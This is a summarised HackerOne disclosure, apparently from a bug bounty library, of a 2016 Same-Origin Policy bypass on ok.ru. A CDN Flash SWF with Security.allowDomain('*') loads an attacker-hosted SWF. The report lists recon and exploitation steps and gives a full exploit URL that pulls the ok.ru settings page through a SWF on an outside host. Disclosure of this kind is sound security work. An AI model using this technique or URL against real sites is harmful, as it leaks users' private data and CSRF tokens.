# Same-Origin Policy bypass on main domain - ok.ru

A CDN-hosted SWF with Security.allowDomain("*") and an uncontrolled vpaidSwfUrl parameter let attackers load a malicious SWF that read ok.ru pages cross-origin, leaking settings data.

- Payout: hidden
- Severity: high
- Program: ok.ru
- Found by: zoczus
- Disclosed: 2016-05-04
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/102234
- Library page: https://bugbountylibrary.com/r/h1%3A102234
- Tags: area:web domain:web impact:data-leak impact:pii-leak kind:bounty platform:hackerone sev:high tech:cdn technique:recon technique:source-review vuln:access-control vuln:cors vuln:info-disclosure

**Target:** Flash SWF file on st.mycdn.me CDN plus ok.ru crossdomain.xml
**Root cause:** The vpaid-js-interface.swf calls Security.allowDomain("*") and loads an attacker-controlled vpaidSwfUrl SWF, so a malicious SWF executes in the trusted st.mycdn.me origin which ok.ru's crossdomain.xml permits to read ok.ru content.
**Steps:**
1. Read http://ok.ru/crossdomain.xml to see which domains may read ok.ru content.
2. Find a vulnerable SWF on one of those allowed domains: http://st.mycdn.me/static/MegaPlayer/10-2-21/vpaid-js-interface.swf.
3. Use Flashbang to identify parameters `vpaidSwfUrl` and `Loader`.
4. Decompile the SWF and confirm `Security.allowDomain("*")` and that `vpaidSwfUrl` is uncontrolled.
5. Host a malicious SWF that fetches http://ok.ru/settings and forwards content to attacker JS.
6. Load `http://st.mycdn.me/static/MegaPlayer/10-2-21/vpaid-js-interface.swf?vpaidSwfUrl=http://ropchain.org/poc/ok.swf?url=http://ok.ru/settings&Loader=test` to trigger the read.
**How found:** Started from ok.ru's crossdomain.xml to enumerate trusted domains, then hunted for a vulnerable SWF on those domains; used Flashbang to enumerate parameters and decompiled the SWF to confirm Security.allowDomain("*") and the uncontrolled vpaidSwfUrl loader.
**Exploitation:** Attacker hosts a malicious SWF; the trusted CDN SWF loads and executes it in the st.mycdn.me origin, which ok.ru's crossdomain.xml trusts. The malicious SWF requests http://ok.ru/settings with the victim's cookies, reads the response, and passes it to attacker-controlled JavaScript, exposing email, CSRF tokens, private messages without user interaction.
**Insight:** When a target's crossdomain.xml whitelists third-party CDN domains, audit SWFs on those CDNs for Security.allowDomain("*") plus attacker-controlled SWF-loading parameters; Flashbang quickly reveals parameter names before decompilation.